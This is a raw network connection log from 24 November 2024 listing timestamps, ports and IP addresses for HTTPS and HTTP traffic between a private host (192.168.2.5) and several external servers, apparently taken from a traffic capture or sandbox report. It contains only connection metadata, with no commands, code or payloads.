Nov 24, 2024 04:23:47.979746103 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.980155945 CET	49979	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:47.980160952 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:47.980688095 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.980694056 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.980719090 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.980741024 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.980953932 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.980958939 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.981009007 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.987037897 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.987093925 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.987099886 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.989031076 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.989078999 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.989083052 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.992160082 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.992219925 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.992223978 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.995779991 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:47.995984077 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:47.996004105 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:47.997001886 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:47.997208118 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:47.997409105 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:47.997462034 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:47.997651100 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:47.999624968 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.999639034 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.999691010 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:47.999696016 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:47.999810934 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.003294945 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.003367901 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.003376007 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.003470898 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.010384083 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.010415077 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.010736942 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.010751963 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.010844946 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.010849953 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.010910988 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.014030933 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.014391899 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.014396906 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.021420956 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.021434069 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.021481991 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.021487951 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.021595955 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.024741888 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.024801970 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.024806976 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.024844885 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.036282063 CET	49967	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:48.039330959 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.091515064 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.091532946 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.117803097 CET	49998	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:48.117851019 CET	443	49998	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:48.118850946 CET	49998	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:48.120516062 CET	49998	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:48.120528936 CET	443	49998	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:48.135077953 CET	443	49980	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.136795998 CET	80	49983	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:48.141263008 CET	49983	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:48.142328024 CET	49980	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.142359972 CET	443	49980	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.142764091 CET	49980	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.142775059 CET	443	49980	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.155989885 CET	80	49967	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:48.156193018 CET	49967	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:48.164510965 CET	49999	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.164565086 CET	443	49999	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:48.164640903 CET	49999	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.164696932 CET	50000	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.164725065 CET	443	50000	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:48.164833069 CET	50000	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.164875984 CET	49999	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.164891958 CET	443	49999	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:48.165014982 CET	50000	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.165028095 CET	443	50000	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:48.165467978 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.165492058 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.165548086 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.165558100 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.165730953 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.169385910 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.169467926 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.169475079 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.175731897 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.175753117 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.175789118 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.175793886 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.175915956 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.176290989 CET	50001	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.176383018 CET	443	50001	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:48.176522970 CET	50001	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.176692963 CET	50001	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:48.176728964 CET	443	50001	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:48.179563999 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.179636955 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.179644108 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.179738045 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.180661917 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.180717945 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.183667898 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.183742046 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.183749914 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.183856964 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.190844059 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.190860987 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.191529989 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.191535950 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.191684961 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.192651987 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:48.192682981 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:48.192862988 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:48.193516970 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:48.193533897 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:48.194238901 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.194366932 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.194371939 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.201415062 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.201436043 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.201483965 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.201495886 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.201608896 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.204446077 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.204644918 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.204654932 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.205394030 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.210994005 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.211509943 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.211525917 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.211580992 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.211586952 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.211699963 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.277271986 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:48.285000086 CET	443	49982	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.285865068 CET	49982	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.285902023 CET	443	49982	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.286348104 CET	49982	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.286355019 CET	443	49982	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.288114071 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.396805048 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:48.398587942 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:48.398866892 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:48.439798117 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.439898968 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.439917088 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.445449114 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.445476055 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.447854042 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.447875977 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.447916031 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.449389935 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.455360889 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.455382109 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.456487894 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.456506968 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.457472086 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.457489967 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.459517002 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.461846113 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.461863995 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.462052107 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.466626883 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.466645956 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.468034983 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.468046904 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.468302965 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.469693899 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.470021009 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.470033884 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.470155001 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.476433039 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.476450920 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.476636887 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.476646900 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.476788998 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.479419947 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.479482889 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.479489088 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.486525059 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.486546993 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.487035036 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.487050056 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.487135887 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.490482092 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.491632938 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.491642952 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.492314100 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.518294096 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:48.629537106 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.629564047 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.629616976 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.631194115 CET	49979	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.631433964 CET	49979	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.631453037 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.631462097 CET	49979	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.631469011 CET	443	49979	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.633037090 CET	443	49980	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.633275032 CET	443	49980	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.634391069 CET	50006	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.634428024 CET	443	50006	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.634440899 CET	49980	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.634483099 CET	50006	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.634884119 CET	49980	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.634884119 CET	49980	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.634918928 CET	443	49980	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.634943962 CET	443	49980	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.635874987 CET	50006	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.635889053 CET	443	50006	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.637501955 CET	50007	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.637548923 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.637742996 CET	50007	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.638108015 CET	50007	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.638127089 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.644212008 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.644403934 CET	443	49991	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.644432068 CET	443	49992	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.645107985 CET	49992	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.645118952 CET	443	49992	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.645121098 CET	49986	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.645134926 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.645221949 CET	49991	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.645282984 CET	443	49991	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.645601034 CET	49986	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.645607948 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.645700932 CET	443	49991	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.646145105 CET	443	49992	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.646693945 CET	49991	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.646796942 CET	443	49991	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.646826982 CET	49992	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.647233009 CET	49992	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.647294998 CET	443	49992	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.652718067 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.652741909 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.652949095 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.652961016 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.653099060 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.656667948 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.657263041 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.657282114 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.661786079 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.661817074 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.661860943 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.661884069 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.662111998 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.662290096 CET	49973	443	192.168.2.5	23.44.201.23
Nov 24, 2024 04:23:48.662303925 CET	443	49973	23.44.201.23	192.168.2.5
Nov 24, 2024 04:23:48.683811903 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.683876991 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.683897972 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.683914900 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.683952093 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.683970928 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.685100079 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.685127020 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.685481071 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.687793970 CET	49992	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.687803984 CET	443	49992	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:48.719017029 CET	443	49982	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.722184896 CET	443	49982	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.727101088 CET	49982	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.727101088 CET	49982	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.727143049 CET	49982	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.727163076 CET	443	49982	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.729849100 CET	50008	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.729877949 CET	443	50008	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.730226040 CET	50008	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.730797052 CET	50008	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:48.730815887 CET	443	50008	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:48.756683111 CET	80	49995	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:48.757411003 CET	49995	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:48.810952902 CET	49991	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.872596979 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.872750998 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.872771978 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.872809887 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.872828960 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.872860909 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.873604059 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.873639107 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.873750925 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.877127886 CET	80	49995	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:48.877557993 CET	49995	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:48.880415916 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.880445957 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.880470037 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.880507946 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.880517960 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.880517960 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.880527020 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.880546093 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.880573034 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.880764008 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.887478113 CET	49992	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:48.887497902 CET	49703	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:23:48.920685053 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.920763016 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.920792103 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.920808077 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.920844078 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.920861959 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.920871019 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:48.920891047 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:48.921009064 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.062669039 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.062691927 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.062732935 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.062752008 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.062757969 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.062833071 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.062877893 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.062918901 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.063026905 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.068005085 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.068027020 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.068074942 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.068085909 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.068105936 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.068114996 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.068131924 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.068146944 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.068161964 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.068214893 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.086937904 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:49.091269970 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:49.091324091 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:49.091336012 CET	49986	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:49.091384888 CET	49986	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:49.091456890 CET	49986	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:49.091456890 CET	49986	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:49.091476917 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:49.091485977 CET	443	49986	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:49.095817089 CET	50009	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:49.095843077 CET	443	50009	13.107.246.63	192.168.2.5
